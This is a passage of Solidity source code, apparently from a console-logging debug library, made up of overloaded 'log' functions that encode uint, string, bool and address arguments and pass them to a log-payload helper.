function log(uint p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2));
}
function log(uint p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2));
}
function log(uint p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2));
}
function log(uint p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2));
}
function log(uint p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2));
}
function log(uint p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2));
}
function log(string memory p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2));
}
function log(string memory p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2));
}
function log(string memory p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2));
}
function log(string memory p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2));
}
function log(string memory p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2));
}
function log(string memory p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2));
}
function log(string memory p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2));
}
function log(string memory p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2));
}
function log(string memory p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2));
}
function log(string memory p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2));
}
function log(string memory p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2));
}
function log(string memory p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2));
}
function log(string memory p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2));
}
function log(string memory p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2));
}
function log(string memory p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2));
}
function log(string memory p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2));
}
function log(bool p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2));
}
function log(bool p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2));
}
function log(bool p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2));
}
function log(bool p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2));
}
function log(bool p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2));
}
function log(bool p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2));
}
function log(bool p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2));
}
function log(bool p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2));
}
function log(bool p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2));
}
function log(bool p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2));
}
function log(bool p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2));
}
function log(bool p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2));
}
function log(bool p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2));
}
function log(bool p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2));
}
function log(bool p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2));
}
function log(bool p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2));
}
function log(address p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2));
}
function log(address p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2));
}
function log(address p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2));
}
function log(address p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2));
}
function log(address p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2));
}
function log(address p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2));
}
function log(address p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2));
}
function log(address p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2));
}
function log(address p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2));
}
function log(address p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2));
}
function log(address p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2));
}
function log(address p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2));
}
function log(address p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2));
}
function log(address p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2));
}
function log(address p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2));
}
function log(address p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2));
}
function log(uint p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3));
}
